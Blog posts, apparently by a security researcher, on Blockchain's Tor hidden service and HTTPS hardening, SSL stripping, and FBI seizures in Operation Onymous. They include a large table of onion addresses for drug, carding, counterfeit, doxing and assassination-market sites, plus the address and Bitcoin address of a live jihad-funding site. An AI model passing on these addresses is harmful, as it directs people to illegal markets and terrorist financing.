Along with the hidden service and signed certificate, Blockchain has switched to HTTPS across the site and enforced secure connections on both the clearweb domain and the onion site with [Strict Transport Security](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) (HSTS) (which will be preloaded for the clearweb domain in all major browsers, and hopefully also for the onion domain), and will also implement dynamic public key pinning with Public Key Pinning ([HPKP](https://tools.ietf.org/html/draft-ietf-websec-key-pinning-01)).
With an authenticated hidden service Blockchain users are able to access their Bitcoin wallets with the added anonymity of Tor while avoiding exit nodes. For users of the regular clearweb Blockchain service the addition of HSTS and HPKP provide additional guarantees against MITM attacks and rogue or stolen site certificates.
## MITM Attacks and SSL Stripping
MITM attacks against users on Tor are simple to execute and remarkably effective. The type is attack is referred to as SSL stripping, where the MITM would intercept requests to an HTTPS service and downgrades the connection to plain unencrypted and unauthenticated HTTP. If the user doesn’t notice the switch to HTTP, or if the browser doesn’t enforce HTTPS, then any data or credentials submitted can be read and stored by the MITM.
This technique was detailed and presented by Moxie Marlinspike in a [2009 talk at the Black Hat security conference](https://www.youtube.com/watch?v=MFol6IMbZ7Y), where he also released a tool for the purpose called [sslstrip](https://www.thoughtcrime.org/software/sslstrip/). It has been five years since the presentation and the release of the tool yet awareness of SSL stripping attacks amongst users is low and this type of attack is incredibly underrated.
In an SSL stripping attack, the attacker first inserts their machine as a proxy between the victim and target website. This can be achieved with arp spoofing on a LAN or WiFi network, with DNS poisoning, by seizing a VPN server or HTTP proxy or by running a Tor exit node. Once inserted on the path between the victim and the connection to a web server, the sslstrip attack will intercept requests to an HTTPS based service and proxy them back to the user over HTTP.
It is an attack type that relies on the user not noticing that their connection is no longer secured. One of the most common SSL stripping techniques is to set a lock icon as the fav icon for the website to fool the user into not noticing they aren’t on a real HTTP page. Here is an example of the Gmail homepage with sslstrip placing a lock icon as a favicon, note the _HTTP_ URL:
(Note: The last two slides are from Moxie’s [Black Hat talk](https://www.youtube.com/watch?v=MFol6IMbZ7Y), which is very accessible and worth seeing. His [followup talk](https://www.youtube.com/watch?v=ibF36Yyeehw) with details of other stripping techniques is also recommended, as is [Moxie’s blog](https://www.thoughtcrime.org).).
SSL Stripping is responsible for a large number of the attacks against Blockchain users, particularly those accessing the service over Tor. The recommended action for users it to always check the validity of their connection to the web server and to make sure it is secure and that the certificate they are presented validates (you can check this in most browsers by clicking on the (real) secure lock icon).
## The 10-character Address
`blockchainbdgpzk.onion` is a 10-character vanity onion address. It took around 40 hours to find using a large cluster of GPU instances on Amazon Web Services running [Scallion](https://github.com/lachesis/scallion). Utilizing spot instances across a variety of regions and zones over the weekend kept the costs reasonable.
Thank you to Scallion developer Eric Swanson for providing a great tool and for answering some of my queries. The total hashrate achieved in the cluster was just under 10,000 MH/s
I will be publishing my AMI shortly, if you need assistance in finding a vanity onion address for your own Tor hidden service [get in touch](/contact).
## CA Signed Onion Addrees
We worked with [DigiCert](https://www.digicert.com) to get a certificate containing the new onion address for Blockchain signed (thank you to Jeremy and the team there, they leapt into action and helped us out when we found ourselves in an urgent situation). DigiCert also signed the certificate used by Facebook in their hidden service. Since .onion is a pseudo-TLD Tor hidden service host names cannot be specified as the common name in the certificate. With Facebook and Blockchain certificates were generated with the onion addresses specified in the Subject Area Name (SAN) field.
One problem with this approach is that the [CA/Browser Forum](https://cabforum.org/) (CAB), a body comprised of browser manufacturers and certificate authorities that set certificate standards, decided to [deprecate the use of local names in CA signed SAN certificates](https://www.networking4all.com/en/ssl+certificates/faq/change+san+issue/) (details and guidelines [from CAB in this PDF](https://cabforum.org/wp-content/uploads/Guidance-Deprecated-Internal-Names.pdf)). As it isn’t a formal TLD, .onion is considered a local name, and with local names in SAN certificates no longer being valid from the 1st of November 2015 it means certificates signed for .onion addresses will also no longer be valid.
Hopefully between now and the November 2015 expiry date a solution will be reached, as .onion _clearly_ isn’t a local name and should be a recognized TLD. There are a number of reasons why .onion has yet to be recognized, not least of which are the [fees sought by ICANN for new TLD registration](https://trac.torproject.org/projects/tor/ticket/6116) – a figure of approximately $200,000.
## Chromium Verification Failure
Google has surged ahead with local name signed certificate deprecation by not validating them in Chromium. This means the Facebook and Blockchain hidden services are displayed as broken HTTPS connections despite all the certificates validating.
Chrome will only validate signed certificates for hostnames that belong to a TLD or country-level domain that is listed in the [public suffix list](https://publicsuffix.org/). This is a sound security decision, the problem is that .onion needs to be recognized as a proper TLD. If it isn’t recognized as a TLD, I hope that the browsers will include it as an exception.
## Encrypted Services
Alternate services on Tor don’t need the server anonymity that hidden services provide. The location of the server in cases such as Facebook and Blockchain is no secret, so the Tor circuit could cut off the last hops to the hidden service and speed things up. Turns out there is an [old draft proposal](https://gitweb.torproject.org/torspec.git/blob_plain/HEAD:/proposals/ideas/xxx-encrypted-services.txt) for exactly that – it is referred to as Encrypted Services. With more alternate services popping up on Tor now would be a good time to dust that proposal off and investigate finishing the spec and getting it implemented.
## Protocol Upgrade
[HTTPSEverywhere](https://www.eff.org/HTTPS-EVERYWHERE) is a browser plugin from the EFF that automatically redirects web requests to secure versions of a website if it is available. It is built into the Tor browser by default. There is a fork of the plugin called [Darkweb Everywhere](https://github.com/chris-barry/darkweb-everywhere) which redirects clearweb visits to an equivalent onion site if one is available.
As with HTTPSEverywhere, the plugin achieves this by maintaining [an index of rules](https://github.com/chris-barry/darkweb-everywhere/tree/master/src/chrome/content/rules) listing each website and it’s onion address. There are a number of downsides with this approach – namely maintaining the rule set and then collating evidence of ownership and an audit trail for each onion website.
An approach that has been suggested on [one of the Tor mailing lists](https://lists.torproject.org/pipermail/tor-talk/2014-May/032907.html) is for websites to return an HTTP header specifying the location of the onion address for their alternate service.
The idea is that a Tor-capable user agent visiting `facebook.com` or `blockchain.info` would be automatically redirected to `facebookcorewwwi.onion` or `blockchainbdgpzk.onion` respectively.
It would be preferable if configuration and maintenance of a clearweb to onion redirect was with the website operator, similar to the way HSTS works with the redirect being established and then cached. There are some privacy and security implications that need to be considered, and Facebook may find it difficult to justify returning an additional HTTP header a few hundred million times per day for the benefit of a handful of users (as pointed out by Alec Muffett [on Twitter](https://twitter.com/alecmuffett/status/538991864582782976)).
We are planning on coming up with a solution that would redirect Tor users to onion sites (or i2p users to eepsites – keeping it protocol neutral) and rolling it out. If you have any ideas or proposals for a protocol that could work, [get in touch](/contact) on Twitter or on email.
## Tor Use Cases
In the media Tor is most often associated with drug markets, the darkweb and whistleblowers, but there are [many other use cases](https://www.torproject.org/about/torusers.html.en) and applications for the network. It pairs perfectly with Bitcoin (although you [shouldn’t run](https://orbilu.uni.lu/bitstream/10993/18679/1/Ccsfp614s-biryukovATS.pdf) a full p2p Bitcoin client on Tor), can provide user anonymity and access to web services where they may otherwise be blocked or intercepted.
I've seen a large amount of interest from various parties in providing alternate services on Tor, and i'm going to be working on bringing more businesses and web services onto the network. If you're interested in learning more about how Tor could work for you, want to setup your own services or would like help in finding the right onion address or configuring hidden services [get in touch](/contact).
[^1]: with SSL 3.0 now mostly gone, technically it is TLS – although I find it difficult to get used to referring to it as that.
---
# FBI seizes fake Tor hosted Jihad funding website as part of Operation Onymous, leaves up real site
*2014-11-17*
As part of Operation Onymous the FBI seized [some 276 Tor hidden services](https://www.nikcub.com/posts/onymous-part1/), many of which were clone or scam websites. One of the websites the FBI seized that we located during our crawl was titled “Fund the Islamic Struggle Anonymously”. The website had a short message for visitors where it asked for donations towards setting up “a new Islamic front in the USA and around the world”, and that visitors could send these donations “without leaving a trace”.
The problem, as with a lot of the other seizures as part of Operation Onymous, is that the FBI seized a fake version of the site. The FBI seized version was hosted at `bc3nbr42tdnqamvs.onion` is (or was) displaying a seizure notice, while the real version of the website can still be found at `teir4baj5mpvkg5n.onion`
Here is what the site looks like right now:
The Bitcoin address on the website, [13Pcmh4dKJE8Aqrhq4ZZwmM1sbKFcMQEEV](https://blockchain.info/address/13Pcmh4dKJE8Aqrhq4ZZwmM1sbKFcMQEEV), shows that just over 5 BTC has been donated to it.
The FBI made no mention of seizing a jihadi fundraising website as part of Operation Onymous, and in any case they left the real version of the site live.
---
# Large Number of Tor Hidden Sites Seized by the FBI in Operation Onymous were Clone or Scam Sites
*2014-11-17*
_This post is the first in a series dealing with the takedown of Silk Road 2.0 and [Operation Onymous](https://en.wikipedia.org/wiki/Operation_Onymous). The data in this post was put together with [@secruedmh](https://twitter.com/secruedmh) and [@imposter](https://twitter.com/1mp0ster). A big thanks to Juha Nurmia and his [Tor Hidden Service Index](https://ahmia.fi/search/), and researchers who share their work or report on stories such as [lamoustache](https://www.twitter.com/lamoustache), [gwern](https://www.gwern.net), [deepdotweb](https://www.deepdotweb.com/) along with others who don’t wish to be named for helping us fill in our index and cache. For updates [follow on twitter](https://www.twitter.com/nikcub)._
In the two weeks since Silk Road 2.0 and a large number of other Tor hosted hidden services were taken down as part of Operation Onymous, we have crawled and indexed onion sites to find out just how many sites were seized and what sites were seized. Initial reports said 410 sites were seized, then 400 and this number has continued to be revised down until Europol said only some two-dozen sites were seized. Our crawl of just over 9,000 onion sites has found 276 seized onion sites.
The full table of seized onion sites discovered is below, an overview of the data and some findings:
1. Out of a total of 276 seized onion addresses found, we identified 153 of the addresses as belonging to either clone, scam or phishing sites.
1. Of the 153 clone or scam sites, 133 were clones and 20 were scam or phishing sites.
1. In a number of cases the FBI has seized the clone or scam version of a site while leaving up the real site.
1. In May of 2014 a bot known as the “Onion Cloner” [was discovered](http://allyour4nert7pkh.onion/wiki/index.php?title=Onion_Cloner) and became known to Tor hidden service operators. This bot would find Tor hidden sites and clone them on its own address in an effort to steal passwords or intercept Bitcoin transactions. Of the 133 clone sites that the FBI seized, a large number of them were clone sites produced by the Onion Cloner that were mistaken for the real copy.
1. Of the 8 websites mentioned in the [FBI press release](https://www.fbi.gov/newyork/press-releases/2014/dozens-of-online-dark-markets-seized-pursuant-to-forfeiture-complaint-filed-in-manhattan-federal-court-in-conjunction-with-the-arrest-of-the-operator-of-silk-road-2.0), 2 are clones and 1 is a scam site.
1. Of the 32 onion addresses mentioned in the [DOJ seizure notice](https://www.scribd.com/doc/246222731/Operation-Onymous-Dark-Markets-Seizure-Forfeiture-Complaint) filed in US court, 3 are scam sites and 9 are clone websites.
1. As far as our survey has revealed and based on prior data about the Onion Cloner, **every single** Onion Cloner clone site has been seized or is no longer available.
1. For the following sites, the clone or fake version was seized while the real site remains live: Cannabis UK, CStore, Dedope, Executive Outcomes, FakeID, Fake Real Plastic, Hackintosh, Pablo Escobar Drug Store, Real Cards Team, Smokeables, Zero Squad. Some of these sites were mentioned in the FBI press release or court seizure notice as having been taken down when in fact the clones were seized.
1. There are almost 200 sites that have been seized that are not mentioned in any seizure notice or press release. These include the (real) sites for Fish Squad, Exposed, Hack the Planet, Cash Machine, DOXBIN, Pink Meth, OnionSphere, Mr Ouid’s Forum. That list includes personal websites, forums or other sites that had no outward appearance of illegal activity, and they are also not mentioned in any court or press documents. These sites were seized with what appears to be no, or little legal justification.
1. Scam or phishing versions of Silk Road 2.0, Agora, Real Cards Team, Evolution and many other sites were seized.
1. For some of the onion addresses, being mentioned in the FBI press release or the seizure notice is the first and only ever public web mention of the address.
1. The website “Executive Outcomes”, which the FBI claims in seizure notices and press releases was a retailer of firearms was a well known scam site – it never shipped any weapons but took users funds.
1. A clone of a Jihad funding website called “Fund the Islamic Struggle without leaving a trace” [was seized, while the real website remains live](https://www.nikcub.me/posts/fbi-seizes-fake-tor-hosted-jihad-funding-website-as-part-of-operation-onymous-leaves-up-real-site/) (and has accepted over 5 BTC in donations)
## Indications of Method
That the FBI seized so many clone and fake websites suggests a broad, untargeted sweep of hidden services rather than a targeted campaign. The slapshot nature of how sites were seized suggests that rather than starting with an onion address and then discovering the host server to seize, this campaign simply vacuumed up a large number of onion websites by targeting specific hosting companies. We have tracked down the hosting companies affected and the details will be published in a follow-up.
On that note, if you were the administrator of a hidden site that was seized, be it a clone or a real site, please get in touch. I’ve spoken to a number of admins and hosting companies and have put together what the seized sites had in common in order to deduce the method used to locate them. Information from admins and hosts is invaluable in working out what the weaknesses of the seized sites was, and what can be learned from the seizures. There is a high likelihood that none of the seizures will be tested or revealed in court, at least not in the short term, so getting this information is important.
## Tor Onion Data
The database of hidden sites, which I believe is the largest that has been collated, will be [posted to this GitHub repository](https://github.com/nikcub/tordata) sometime in the next couple of days. An earlier version of the crawler used is [also available on GitHub](https://github.com/nikcub/torsurvey). We are currently putting together an index of data from the seized sites, including the forums, and other Tor hidden services along with a search engine. If you’re interested in contributing or adding data to it send a pull request.
**\*Table key:** Column S = Site mentioned in [DOJ seizure notice](https://www.scribd.com/doc/246222731/Operation-Onymous-Dark-Markets-Seizure-Forfeiture-Complaint). Column P = Site mentioned in [FBI press release](https://www.fbi.gov/newyork/press-releases/2014/dozens-of-online-dark-markets-seized-pursuant-to-forfeiture-complaint-filed-in-manhattan-federal-court-in-conjunction-with-the-arrest-of-the-operator-of-silk-road-2.0)\*
| Site | Host | | S | P |
| :-------------------------------------- | :----------------------- | :---- | :-: | :-: |
| Tor Bazaar Forum | `22iwhc2luicynjqy.onion` | | |
| Fake ID | `23swqgocas65z7xz.onion` | Clone | \* | \* |
| NLGrowers | `25ffhn7bm5fget24.onion` | Scam | |
| Tor web developer: | `2hcruaawg3e55vfa.onion` | Clone | |
| The Dealer: | `2sr3d7kvco5iy6ws.onion` | Clone | |
| Doublespend | `2xfmz7uf6ip6kpg3.onion` | Scam | |
| The Hidden Wiki (mirror): | `33lwkzt672innsj6.onion` | Clone | |
| KavkazCenter: | `33vqatzbvipi5ghe.onion` | Clone | |
| Trava Pricelist | `34j2fiy32xwuxsku.onion` | | |
| Sea Kitten Palace: | `3cvsdlyltwapggbf.onion` | Clone | |
| EU DRUGSTORE: | `3d635wnxku6h43eg.onion` | Clone | |
| FAQ : | `3e5rqv7542gxvwpk.onion` | Clone | |
| Bitiply | `3ioo62dyl5xawlmw.onion` | Clone | |
| – | `3nslokdcllxywuxp.onion` | | |
| TORFORUM: | `3osf4ttzukk5aouy.onion` | Clone | |
| Tor Bazaar | `3p42y56a76g6okuv.onion` | | \* |
| Fund The Islamic Struggle Anonymously | `bc3nbr42tdnqamvs.onion` | | |
| Exposed – The Secret Web | `4dpc64mjcbu5kkyn.onion` | Clone | |
| AYPSELA news: | `4jdirmqv2o65dlum.onion` | Clone | |
| Cloud Nine | `4jt6iq3r3agaldg7.onion` | | |
| EasyCoin Bitcoin Wallet & Mixer” | `4p7orzshxhif6cfz.onion` | Clone | |
| TorShops | `4ywfa43x2dutp5ta.onion` | Scam | |
| Jotunbane’s Reading Club: | `52frxf3nn43n6rt5.onion` | Clone | |
| BrainMagic | `5j7o54ivsh3qqgu3.onion` | Clone | |
| 1 Hour Laundry: | `5mkcloe3kuefrqvr.onion` | Clone | |
| Fast Cash! | `5oulvdsnka55buw6.onion` | | \* | \* |
| TorBox: | `5wxxvwnsvwsv2ens.onion` | Clone | |
| Farmer1 | `5x5hcw4ym6nno42p.onion` | | \* |
| GreenPaper Counterfeiters (Super Notes) | `67yjqewxrd2ewbtp.onion` | Scam | \* |
| Onion Mail: | `6e44iwci5e6iodyw.onion` | Clone | |
| Green Machine | `6hstmidevw5dhkct.onion` | | |
| The Green Machine | `6ijclyvilv53ll76.onion` | | \* |
| SteamLoader: | `6nkwg6ngv5txpfqc.onion` | Clone | |
| Doxbin / DeDope | `6odhiu7bke342ip5.onion` | | \* |
| Green Dragon Supplier | `6wlmeo5zdm5jzex5.onion` | | |
| Evolution (Phishing) | `7bt3s7ikypzurhue.onion` | Scam | |
| Wall Street Tor: | `7ttedph3rjhoh24y.onion` | Clone | |
| – | `7xghcctm7r5ef6ce.onion` | | |
| Cash Flow | `7y6e3uutyvoi2myq.onion` | | |
| Babylon | `a7jtfnjllglyjq4q.onion` | | |
| Onion Identity Services | `abbujjh5vqtq77wg.onion` | Scam | |
| USFakeIDs | `abo7iovzgznlqbno.onion` | Clone | |
| Lossless Audio Files: | `afismo35weljjdcv.onion` | Clone | |
| KognitionsKyrkan: | `afkpdjdkvkir4mp4.onion` | Clone | |
| Agora (Phishing) | `agorazbdc4zq5oww.onion` | Scam | |
| Alpaca | `alpaca727o3c75xx.onion` | | |
| Alpaca Marketplace | `alpaca7bcqv2rnu3.onion` | | \* |
| SOL’s Unified USD Counterfeit’s | `aodaost3cbxnzgno.onion` | Clone | \* |
| Cloud Nine | `aoyukbwlwxzcllet.onion` | | |
| NLGrowers: | `aukpec3jyuuoe5cm.onion` | Clone | |
| img.bi: | `b35trto3blj4bpq4.onion` | Clone | |
| Onionweb filehosting: | `b3xbwcuuflw73r5u.onion` | Clone | |
| TORCH | `b7i32g7huhreg2dd.onion` | Clone | |
| Tor Bazaar | `bazaar755zbjb121.onion` | | \* |
| Tor Bazaar | `bazaarlv2a7i3uyn.onion` | | \* |
| Onion Channel | `bcyh7mzfrekxobud.onion` | Clone | |
| Cloud Nine | `bg62ti72ckuo6rm2.onion` | | |
| Blue Sky | `blueskyplzv4fsti.onion` | | \* | \* |
| Mysterious | `bt7wb565zgx3xuug.onion` | Clone | |
| Bungee54 | `bungee54uqchxfny.onion` | | \* |
| Lion Pharma | `bvhbasj4jxhwc7d7.onion` | Clone | |
| Cloud Nine (Main) | `bviaqyj6obc54vhn.onion` | | |
| Cloud Nine | `c6x3fexjje4uaczd.onion` | | |
| – | `c76dtzddabepos74.onion` | | |
| Buy Twitter Followers: | `c7kbn6qnsw6glp5c.onion` | Clone | |
| Cannabis Road | `cannabiskofvl7pa.onion` | | \* |
| Hack The Planet | `chippyits5cqbd7p.onion` | | |
| Cstore – Carded Store | `cstoreav7i44h2lr.onion` | | |
| MAGIC MUSHROOMS STORE: | `cvy25jynw7g6tamj.onion` | Clone | |
| Cloud Nine | `cxhlovvocanzs7ka.onion` | | |
| TorSafe: | `cxyamaiowtvnj22a.onion` | Clone | |
| Cloud Nine | `cyeji6dcpvad5zsq.onion` | | |
| Cloud Nine | `czl2oqmd3ovghwk5.onion` | | |
| The Pot Shop | `d5jkxy5i6r3sddfw.onion` | | |
| Data Bin | `databinhwin4xuxx.onion` | | |
| DeDope | `dedope6uu7errzu3.onion` | Scam | |
| Steal This Wiki mirror: | `dejxz2tiz6f5nbrp.onion` | Clone | |
| Black Market | `dgoega4kbhnp53o7.onion` | Clone | \* |
| Black Market: | `dgoegaf7vnu3uowm.onion` | Clone | |
| Clean My Coins Fake | `djyy6p2ohwkkmn2l.onion` | Clone | |
| Andromeda | `dlifghyxshlgjlzw.onion` | Clone | |
| Help Guy | `dm4gtebssktdskxn.onion` | Clone | |
| Blackbank Market (Scam) | `do37y4wk2detgi6x.onion` | Scam | |
| Cannabis UK | `dokpyl6egokvejos.onion` | Clone | \* |
| Doxbin | `doxbinbhx7nvfq62.onion` | | |
| Doxbin | `doxbindtelxceher.onion` | | |
| Doxbin | `doxbinicsjqqmohl.onion` | | |
| Doxbin | `doxbinphonls5hsk.onion` | | |
| Doxbin | `doxbinumfxfyytnh.onion` | | |
| Doxbin | `doxbinyvbolyfhss.onion` | | |
| Doxbin | `doxbinzqkeoso6sl.onion` | | |
| Pablo Escobar Drugstore | `drugs6ayt3njhzha.onion` | Scam | \* |
| Doxbin | `dxwmc6b3mtklq44j.onion` | | |
| The Armory clone | `dzc6ptsiaajb3mjj.onion` | | |
| Amberoad | `e2lp3d74xdfqmguk.onion` | Clone | |
| Silkroad 2.0: | `e5wvymnx6bx5euvy.onion` | Clone | |
| Outlaw Market | `eaq2e77pmdvrepbq.onion` | | |
| EasyCoin | `easycoinsayj7p5l.onion` | | |
| Cloud Nine | `eb3bbtsqywrdo5ae.onion` | | |
| Real Cards Team | `en74n7uqro3flkmz.onion` | Clone | \* |
| Cloud Nine | `epj7nsddjr3jaorc.onion` | | |
| Cloud Nine | `epvjwvjhqs74iq7l.onion` | | |
| EuroGuns | `eurogunjz5w4qb46.onion` | Scam | |
| Exposed | `exposed36mq3ns23.onion` | | |
| Sell your pictures for Bitcoins | `f2x5eapxymahuf2t.onion` | Clone | |
| EuCanna | `f4ggfopjge6utz3n.onion` | Clone | |
| – | `fbnu5jkwi2daxcze.onion` | | |
| Cstore – Carded Store | `fd4qqglswwsv6fph.onion` | Clone | \* |
| Deutschland im Deep Web | `fjgf5eo4zyntgbus.onion` | Clone | |
| Flugsvamp | `flugsvampfgdzp76.onion` | | |
| Bitcoin For Proxy | `fogcoreohrvfeur5.onion` | Scam | |
| Cannabis Road | `forumzxmoorof4ja.onion` | | \* |
| Welcome, We’ve been expecting you!:” | `foubiqu6uin2dv2n.onion` | Clone | |
| USA/EU Fake Documents store: | `ftkfjfsbsc3yebzw.onion` | Clone | |
| Laundry King: | `fvb7crr4hu7u57m6.onion` | Clone | |
| Apples 4 Bitcoin | `fvpibvo6tphexfvl.onion` | Scam | |
| Double Your Bitcoins | `fwpplqylgbpjymrr.onion` | Clone | |
| MALINA | `fzmmntb5ufod2zyt.onion` | Clone | |
| TorFind: | `g3tqsiw5rc6d6vmc.onion` | Clone | |
| konkret – das linke magazine | `gcymml5rdr6lhpto.onion` | | |
| – | `ghwntyvlyt5t65l4.onion` | | |
| Словесный Богатырь | `gr4dszr5zd2k44qa.onion` | Clone | |
| Deep Web Radio: | `gzkqe6rodeexilic.onion` | Clone | |
| DuckDuckGo: | `h2dbmwstr6klbsi6.onion` | Clone | |
| The Pirate Market: | `h5nfci2xgob2nheu.onion` | Clone | |
| Cloud Nine | `h5ry3wfk7md3vkfc.onion` | | |
| Cash Machine | `hcutffvavocsh6nd.onion` | | |
| The PaypalCenter | `hd74evbdzn6cl264.onion` | Scam | |
| | `heqiepy33ssju7bn.onion` | | |
| Black&Yellow | `hwvx64v3zu43ih75.onion` | | |
| Hydra Forum | `hydrafmchvpq5yc6.onion` | | \* |
| Hydra | `hydrampvvnunildl.onion` | | \* | \* |
| Hydra Russian | `hydraruehsdjjfud.onion` | | |
| TorSearch: | `i7fahngv323nndta.onion` | Clone | |
| Executive Outcomes | `iczyaan7hzkyjown.onion` | Clone | \* | \* |
| Fake Real Plastic | `igvmwp3544wpnd6u.onion` | | \* | \* |
| TorGameDepot: | `ilf5incisxerov56.onion` | Clone | |
| Cloud Nine | `itjsuhezvyyi7pjg.onion` | | |
| – | `ixfdahfew32luevo.onion` | | |
| Super Notes Counter | `j62alxawj7624ejg.onion` | Clone | |
| Hydra | `j6372sksh6uolrzz.onion` | | |
| Site do Renan Jackson: | `jcfcrq76kdc4ghmo.onion` | Clone | |
| Cocaine Market | `jd3gdrtmhm7vwudx.onion` | | |
| CYRUSERV: | `jf5p4debofmd2kdq.onion` | Clone | |
| Mr Quid’s Forum | `jfekrr6wghtmalpd.onion` | | |
| Apple’s Tor | `jff4wifbjuqmhubb.onion` | Clone | \* |
| OnionNews: | `jgfoj3jyfinnrbs5.onion` | Clone | |
| Cloud Nine | `jgpvu5d5fufwpqa7.onion` | | |
| Cloud Nine | `ji45q56enmtidgl5.onion` | | |
| Cheap Euros | `jmntdqtytkuhqlzu.onion` | Clone | |
| The House of Cards: | `jmobhake4txapqd7.onion` | Clone | |
| paraZite | `juctmzs5jwu3cd6l.onion` | Clone | |
| Cloud Nine | `jz3rmfugjt5eiyr5.onion` | | |
| WeBuyBitcoins | `jzn5w5pmhmbqxmzi.onion` | | |
| Onion Identity Services | `k5dvoeyiwakymez5.onion` | Clone | |
| DeDope | `kbvbh4kdddiha2ht.onion` | | |
| Apple Palace | `kcan7d4ahhryu6gg.onion` | Clone | |
| The Hidden Wiki | `kpvz7ki2v5agwt35.onion` | | |
| The Tor Library: | `lgic2yjpimouvjnw.onion` | Clone | |
| Cloud Nine | `lhckzzv3qlvcwfg2.onion` | | |
| Doxbin | `lhvxqyd7ux2oinn7.onion` | | |
| Kamagra for Bitcoin: | `lnien5hngzlojppv.onion` | Clone | |
| The PayPal Center | `lygnimwoedhioopl.onion` | | |
| Silkkitie | `m2lbhzmzmfv5a763.onion` | | |
| Vault43 | `m7653h3gcw7d2ytf.onion` | | |
| MALINA | `malina2ihfyawiau.onion` | | |
| CebollaChan: | `mdlhkgnddfijuh4z.onion` | Clone | |
| Runion | `mescqp3y3sfo27rm.onion` | Clone | |
| Hidden Betcoin | `mqaa6l5vb7rbpksf.onion` | | |
| The PayPal Center | `mv5cb4hz3ecscshx.onion` | | \* |
| Cloud Nine | `mx7rzz5my2fq46wz.onion` | | |
| Prepaid Bliss: | `n5qsqwl2y3qrr2jq.onion` | Clone | |
| Cloud Nine | `n7hwwwncx3bcx5vc.onion` | | |
| Cloud Nine | `ned32wtuel43cxbf.onion` | | |
| Torchan: | `noqfeqisdgchn7zb.onion` | Clone | |
| Doxbin | `npieqpvpjhrmdchg.onion` | | |
| MORAL.NU | `nskxjg4c3nvwzxuw.onion` | Clone | |
| Paypal-Coins | `o3ecpxemcg4itdoy.onion` | Clone | |
| Onionshop | `onionsvpscug6wpk.onion` | | |
| The Secret Story Archive: | `oqgylsk6seo42gpk.onion` | Clone | |
| Tor Bazaar Beta | `orjidjtyniyzn5il.onion` | | |
| Drug Market | `oxr3dae6epxdc4pg.onion` | Clone | |
| The Secret Story Archive #1st: | `oxrxwesdxlnwsj3x.onion` | Clone | |
| USJUD Counterfeits | `p4ecvpaclc44j3jz.onion` | Clone | |
| Cloud Nine | `p6qx55i5r64mxq7n.onion` | | |
| Pandora | `pandora3uym4z42b.onion` | | \* | \* |
| Clone Site | `pbq2zmsrh4cdxdxl.onion` | Scam | |
| UK Passports: | `pclb34gpalrdxj4u.onion` | Clone | |
| nachash | `penisycpu3fixdcr.onion` | | |
| Green Dragon Supplier | `pg5epl6suareiqq6.onion` | | |
| Old Man Fixer’s Fixing Services | `ph22uxxxttai7v2n.onion` | Clone | |
| BitPharma | `pharmagbsxol4n4k.onion` | | |
| BitPharma | `pharmajiyhpjflqi.onion` | Clone | |
| Pink Meth | `pinkmethuylnenlz.onion` | | |
| Mobile Store | `pptzzk2wye6rfeki.onion` | Clone | |
| MailTor: | `pyvdmllsh6mczfgb.onion` | Clone | |
| PayPal4U | `qbikfpcr4mhqoumm.onion` | | |
| R2D2 | `qrfnwgdjdsgtx5u4.onion` | Clone | |
| Tor Carding Forums | `qtr46f7bgf4kzt7q.onion` | | |
| Cloud Nine | `rgam2tqpqhelm4ow.onion` | | |
| Cloud Nine | `rhmhjalcohuys4a5.onion` | | |
| UK Guns and Ammo | `rhqetwhda65zcakj.onion` | Clone | |
| RUForum: | `rk5pbdbyrqksxui4.onion` | Clone | |
| Hidden Wiki: | `rmhpp6w3ncrvxiub.onion` | Clone | |
| Tor: | `rmnd3b5dvuqtshlh.onion` | Clone | |
| Cloud Nine | `rndm56yv54aqe7pn.onion` | | |
| Example rendezvous points page: | `rqjfolmb2h7iqdvq.onion` | Clone | |
| Thunder’s Place: | `s5yvlnz7qljsdmtc.onion` | Clone | |
| ccPal | `safj5y2f45whsvvs.onion` | Clone | |
| Cloud Nine | `sdjv72hp5x6pt5en.onion` | | |
| Doxbin | `senmtjpxn2m72nlu.onion` | Clone | |
| Silkkitie | `silkkitiehdg5mug.onion` | | |
| Silk Road 2.0 | `silkroad3og4b6bq.onion` | Scam | |
| Silk Road Forums | `silkroad5v7dywlc.onion` | | |
| Silk Road | `silkroad6midjsbr.onion` | | \* |
| Silk Road | `silkroad6ownowfk.onion` | | |
| Smokables | `smoker3gvmgfbi4e.onion` | Clone | \* |
| Brave Bunny | `sqxamnigeby5u37b.onion` | Clone | |
| Wikileaks New link: | `srozpqsnh2lgyewu.onion` | Clone | |
| Cloud Nine | `srz5wvnyd7skt5uh.onion` | | |
| samsungstore | `storegsq3o5mfxiz.onion` | | |
| Флибуста \| Книжное братство” | `su74joxcacuafyq6.onion` | Clone | |
| [Forum PHISHING LINK] | `t6la6i24jkow5roh.onion` | Scam | |
| Cloud Nine | `taifcjgrifyjiwey.onion` | | |
| Apples 4 Bitcoin | `tfwdi3izigxllure.onion` | Scam | |
| USA Citizenship | `tgielwnuv3xzfg7r.onion` | | |
| Topix | `topixslhezyytrvm.onion` | | |
| â… TOR-SERV â…: | `torservsbt7rsbfg.onion` | Clone | |
| Cash Machine | `tpe3rm2w4fkbtciu.onion` | Clone | |
| Galaxy Social Network | `tvbkrvflzx2pmvpw.onion` | Clone | |
| The Hidden Market | `uaq62zdqnjr4xo4q.onion` | | |
| Rent-A-Hacker | `ubquja4ech6symkv.onion` | Clone | |
| Assassination Market: | `ugq2p64trcyg3xgt.onion` | Clone | |
| Code:Green | `uhfftlqlyjnelhcf.onion` | Clone | |
| Real Cards Team | `ujompjlrdgbhkmuj.onion` | | |
| Dark Hosting: | `ul4kmrygtkhbb5vz.onion` | Clone | |
| samsungstore | `unsbwt2utosasdxq.onion` | Clone | |
| keys open doors: | `uqbmgvisfz2wpj4v.onion` | Clone | |
| Creative Hack: | `urjlsqe373ismjwg.onion` | Clone | |
| Fake Real Plastic | `vc5apwufjoil3svw.onion` | Clone | |
| Torbook: | `vg4gxg3mjymuh54x.onion` | Clone | |
| Green Star Station: | `vgfzmngu7dh5ye76.onion` | Clone | |
| Hack The Planet: | `vpkyqijluxa33ywp.onion` | Clone | |
| Rich Richard: | `vz3ofn5f2lous44c.onion` | Clone | |
| Doxbin | `wn323ufq7s23u35f.onion` | | |
| – | `woacuqcx45nfnfxy.onion` | | |
| HQER | `wtpum5yzyihiewlq.onion` | | |
| Golden Nugget | `wyj4d4u237p3coca.onion` | Scam | |
| lol 20th Century Western Music | `x4am6cpmndsqzbu2.onion` | Clone | |
| | `x4bfgkcuwiousozy.onion` | | |
| Cloud Nine | `x7ikq6a3qx5qjikf.onion` | | |
| CC-Planet Fullz | `xadxysdnd3ug2dea.onion` | | |
| Hydra Forums | `xdbn2gsuk74nwd7f.onion` | | |
| Clean My Coins | `xgrsaj3wykpofseb.onion` | | |
